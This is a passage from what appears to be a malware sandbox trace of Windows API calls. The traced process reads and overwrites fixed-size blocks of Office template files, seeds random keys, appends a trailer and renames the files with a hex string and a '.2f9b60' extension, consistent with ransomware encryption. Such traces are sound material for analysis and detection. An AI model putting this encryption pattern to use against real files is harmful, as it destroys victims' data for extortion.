RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b610 [0139.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b5b0) returned 1 [0139.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b310) returned 1 [0139.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421379e0 [0139.391] SetFilePointerEx (in: hFile=0x1c04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.391] ReadFile (in: hFile=0x1c04, lpBuffer=0x421379e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x395cf900, lpOverlapped=0x0 | out: lpBuffer=0x421379e0*, lpNumberOfBytesRead=0x395cf900*=0x3c00, lpOverlapped=0x0) returned 1 [0139.406] SetFilePointerEx (in: hFile=0x1c04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205af50 [0139.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205af50) returned 1 [0139.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4214a920 [0139.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205af50 [0139.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b010 [0139.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b010) returned 1 [0139.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.408] WriteFile (hFile=0x1c04, lpBuffer=0x4214a920, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x395cf900, lpOverlapped=0x0) [0172.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4214a920) returned 1 [0172.944] SetFilePointerEx (in: hFile=0x1c04, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.944] ReadFile (in: hFile=0x1c04, lpBuffer=0x421379e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x395cf900, lpOverlapped=0x0 | out: lpBuffer=0x421379e0*, lpNumberOfBytesRead=0x395cf900*=0x3c00, lpOverlapped=0x0) returned 1 [0173.029] SetFilePointerEx (in: hFile=0x1c04, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059470 [0173.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505110 [0173.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f38e0 [0173.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f38e0) returned 1 [0173.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203554e0 [0173.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f38e0 [0173.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f38b0 [0173.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f38b0) returned 1 [0173.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505110) returned 1 [0173.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059470) returned 1 [0173.033] WriteFile (in: hFile=0x1c04, lpBuffer=0x203554e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x395cf900, lpOverlapped=0x0 | out: lpBuffer=0x203554e0*, lpNumberOfBytesWritten=0x395cf900*=0x3c00, lpOverlapped=0x0) returned 1 [0187.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203554e0) returned 1 [0187.172] SetFilePointerEx (in: hFile=0x1c04, liDistanceToMove=0x46f41, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.172] ReadFile (in: hFile=0x1c04, lpBuffer=0x421379e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x395cf900, lpOverlapped=0x0 | out: lpBuffer=0x421379e0*, lpNumberOfBytesRead=0x395cf900*=0x3c00, lpOverlapped=0x0) returned 1 [0190.691] SetFilePointerEx (in: hFile=0x1c04, liDistanceToMove=0x46f41, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139160 [0190.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139160) returned 1 [0190.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42dd9930 [0190.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139160 [0190.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139190 [0190.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139190) returned 1 [0190.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.695] WriteFile (in: hFile=0x1c04, lpBuffer=0x42dd9930*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x395cf900, lpOverlapped=0x0 | out: lpBuffer=0x42dd9930*, lpNumberOfBytesWritten=0x395cf900*=0x3c00, lpOverlapped=0x0) returned 1 [0205.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42dd9930) returned 1 [0205.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f7c0 [0205.349] SetFilePointerEx (in: hFile=0x1c04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.349] WriteFile (in: hFile=0x1c04, lpBuffer=0x431f5a60*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x395cf9b0, lpOverlapped=0x0 | out: lpBuffer=0x431f5a60*, lpNumberOfBytesWritten=0x395cf9b0*=0x152, lpOverlapped=0x0) returned 1 [0208.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bd90 [0208.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b190 [0208.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b190) returned 1 [0208.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b190 [0208.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b160 [0208.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b100 [0208.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b100) returned 1 [0208.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bd90) returned 1 [0208.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1ce5bd90 [0208.686] sprintf (in: _Dest=0x1ce5bd90, _Format="%c%c" | out: _Dest="a8") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bd92, _Format="%c%c" | out: _Dest="a5") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bd94, _Format="%c%c" | out: _Dest="30") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bd96, _Format="%c%c" | out: _Dest="ed") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bd98, _Format="%c%c" | out: _Dest="f4") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bd9a, _Format="%c%c" | out: _Dest="7a") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bd9c, _Format="%c%c" | out: _Dest="40") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bd9e, _Format="%c%c" | out: _Dest="b0") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bda0, _Format="%c%c" | out: _Dest="ff") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bda2, _Format="%c%c" | out: _Dest="d9") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bda4, _Format="%c%c" | out: _Dest="0d") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bda6, _Format="%c%c" | out: _Dest="9c") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bda8, _Format="%c%c" | out: _Dest="65") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bdaa, _Format="%c%c" | out: _Dest="0c") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bdac, _Format="%c%c" | out: _Dest="79") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bdae, _Format="%c%c" | out: _Dest="24") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bdb0, _Format="%c%c" | out: _Dest="98") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bdb2, _Format="%c%c" | out: _Dest="d5") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bdb4, _Format="%c%c" | out: _Dest="0b") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bdb6, _Format="%c%c" | out: _Dest="a9") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bdb8, _Format="%c%c" | out: _Dest="39") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bdba, _Format="%c%c" | out: _Dest="ce") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bdbc, _Format="%c%c" | out: _Dest="01") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bdbe, _Format="%c%c" | out: _Dest="87") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bdc0, _Format="%c%c" | out: _Dest="25") returned 2 [0208.687] sprintf (in: _Dest=0x1ce5bdc2, _Format="%c%c" | out: _Dest="c2") returned 2 [0208.688] sprintf (in: _Dest=0x1ce5bdc4, _Format="%c%c" | out: _Dest="eb") returned 2 [0208.688] sprintf (in: _Dest=0x1ce5bdc6, _Format="%c%c" | out: _Dest="f5") returned 2 [0208.688] sprintf (in: _Dest=0x1ce5bdc8, _Format="%c%c" | out: _Dest="6b") returned 2 [0208.688] sprintf (in: _Dest=0x1ce5bdca, _Format="%c%c" | out: _Dest="4a") returned 2 [0208.688] sprintf (in: _Dest=0x1ce5bdcc, _Format="%c%c" | out: _Dest="99") returned 2 [0208.688] sprintf (in: _Dest=0x1ce5bdce, _Format="%c%c" | out: _Dest="07") returned 2 [0208.688] RtlInitAnsiString (in: DestinationString=0x395cfa28, SourceString="a8a530edf47a40b0ffd90d9c650c792498d50ba939ce018725c2ebf56b4a9907" | out: DestinationString="a8a530edf47a40b0ffd90d9c650c792498d50ba939ce018725c2ebf56b4a9907") [0208.688] RtlAnsiStringToUnicodeString (in: DestinationString=0x395cf9f8, SourceString="a8a530edf47a40b0ffd90d9c650c792498d50ba939ce018725c2ebf56b4a9907", AllocateDestinationString=1 | out: DestinationString="a8a530edf47a40b0ffd90d9c650c792498d50ba939ce018725c2ebf56b4a9907") returned 0x0 [0208.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x431a1530 [0208.689] wcscat (in: _Dest=0x43183620, _Source="a8a530edf47a40b0" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\a8a530edf47a40b0") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\a8a530edf47a40b0" [0208.689] wcscat (in: _Dest=0x43183620, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\a8a530edf47a40b0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\a8a530edf47a40b0.2f9b60" [0208.689] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\a8a530edf47a40b0.2f9b60", NtPathName=0x395cf9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\a8a530edf47a40b0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x4312a2e0 Thread: id = 2131 os_tid = 0x14cc [0139.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originletter.dotx")) returned 0x20 [0139.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginLetter.Dotx", dwFileAttributes=0x20) returned 1 [0139.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1cc0 [0139.417] GetFileSizeEx (in: hFile=0x1cc0, lpFileSize=0x3937fcc0 | out: lpFileSize=0x3937fcc0*=128362) returned 1 [0139.417] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0x1f566, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.417] ReadFile (in: hFile=0x1cc0, lpBuffer=0x3937fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3937fc88, lpOverlapped=0x0 | out: lpBuffer=0x3937fc40*, lpNumberOfBytesRead=0x3937fc88*=0x4, lpOverlapped=0x0) returned 1 [0139.441] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b310 [0139.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b6a0 [0139.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b6d0 [0139.442] NtQuerySystemTime (in: CurrentTime=0x3937fb80 | out: CurrentTime=0x3937fb80*=132462177446818000) returned 0x0 [0139.442] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x6f224cf6 [0139.442] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x5d61a660 [0139.442] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x4b232cb2 [0139.442] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x33b376be [0139.442] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x674a5d7a [0139.442] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x3d0834 [0139.442] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x566b5ac6 [0139.442] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x1d528374 [0139.442] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x4abd6c9a [0139.442] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x24cce513 [0139.442] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x2fafc3e8 [0139.442] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x39df66e6 [0139.442] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x7561eb8f [0139.442] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x119cd761 [0139.442] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x1c164592 [0139.442] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x2e10704 [0139.442] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x4d3e65cc [0139.442] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x1ffb26d2 [0139.442] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x3a14907a [0139.442] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x172cd155 [0139.442] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x7ad8c75 [0139.443] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x3e365a69 [0139.443] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x243d18a7 [0139.443] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x66b1be55 [0139.443] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x411ecb52 [0139.443] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x1be51c8e [0139.443] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x6bd5b3f6 [0139.443] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x378646e0 [0139.443] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x47809dbb [0139.443] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x5b845265 [0139.443] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x74667793 [0139.443] RtlRandomEx (in: Seed=0x3937fb70 | out: Seed=0x3937fb70) returned 0x74ad4dac [0139.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b700 [0139.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b730 [0139.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b6d0) returned 1 [0139.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b310) returned 1 [0139.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42159960 [0139.490] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.490] ReadFile (in: hFile=0x1cc0, lpBuffer=0x42159960, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3937fbe0, lpOverlapped=0x0 | out: lpBuffer=0x42159960*, lpNumberOfBytesRead=0x3937fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0139.509] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b6d0 [0139.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b6d0) returned 1 [0139.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42152140 [0139.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b6d0 [0139.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b760 [0139.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b760) returned 1 [0139.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.512] WriteFile (hFile=0x1cc0, lpBuffer=0x42152140, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3937fbe0, lpOverlapped=0x0) [0179.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42152140) returned 1 [0179.972] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.972] ReadFile (in: hFile=0x1cc0, lpBuffer=0x42159960, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3937fbe0, lpOverlapped=0x0 | out: lpBuffer=0x42159960*, lpNumberOfBytesRead=0x3937fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0182.069] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f000 [0182.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f000) returned 1 [0182.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42362d00 [0182.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f000 [0182.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f030 [0182.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f030) returned 1 [0182.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.072] WriteFile (in: hFile=0x1cc0, lpBuffer=0x42362d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3937fbe0, lpOverlapped=0x0 | out: lpBuffer=0x42362d00*, lpNumberOfBytesWritten=0x3937fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42362d00) returned 1 [0198.751] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0x1b96a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.752] ReadFile (in: hFile=0x1cc0, lpBuffer=0x42159960, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3937fbe0, lpOverlapped=0x0 | out: lpBuffer=0x42159960*, lpNumberOfBytesRead=0x3937fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0199.108] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0x1b96a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0199.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0199.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c280 [0199.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c280) returned 1 [0199.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423e69f0 [0199.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c280 [0199.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c2b0 [0199.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c2b0) returned 1 [0199.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0199.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0199.112] WriteFile (in: hFile=0x1cc0, lpBuffer=0x423e69f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3937fbe0, lpOverlapped=0x0 | out: lpBuffer=0x423e69f0*, lpNumberOfBytesWritten=0x3937fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423e69f0) returned 1 [0214.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf830 [0214.655] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.656] WriteFile (in: hFile=0x1cc0, lpBuffer=0x431f4e00*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x3937fc90, lpOverlapped=0x0 | out: lpBuffer=0x431f4e00*, lpNumberOfBytesWritten=0x3937fc90*=0x154, lpOverlapped=0x0) returned 1 [0218.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e20 [0218.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0218.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6f50 [0218.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6f50) returned 1 [0218.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a6f50 [0218.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7010 [0218.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6fe0 [0218.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6fe0) returned 1 [0218.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0218.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e20) returned 1 [0218.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1ce61e20 [0218.988] sprintf (in: _Dest=0x1ce61e20, _Format="%c%c" | out: _Dest="97") returned 2 [0218.988] sprintf (in: _Dest=0x1ce61e22, _Format="%c%c" | out: _Dest="61") returned 2 [0218.988] sprintf (in: _Dest=0x1ce61e24, _Format="%c%c" | out: _Dest="23") returned 2 [0218.988] sprintf (in: _Dest=0x1ce61e26, _Format="%c%c" | out: _Dest="25") returned 2 [0218.988] sprintf (in: _Dest=0x1ce61e28, _Format="%c%c" | out: _Dest="b8") returned 2 [0218.988] sprintf (in: _Dest=0x1ce61e2a, _Format="%c%c" | out: _Dest="62") returned 2 [0218.988] sprintf (in: _Dest=0x1ce61e2c, _Format="%c%c" | out: _Dest="ee") returned 2 [0218.988] sprintf (in: _Dest=0x1ce61e2e, _Format="%c%c" | out: _Dest="85") returned 2 [0218.988] sprintf (in: _Dest=0x1ce61e30, _Format="%c%c" | out: _Dest="db") returned 2 [0218.988] sprintf (in: _Dest=0x1ce61e32, _Format="%c%c" | out: _Dest="47") 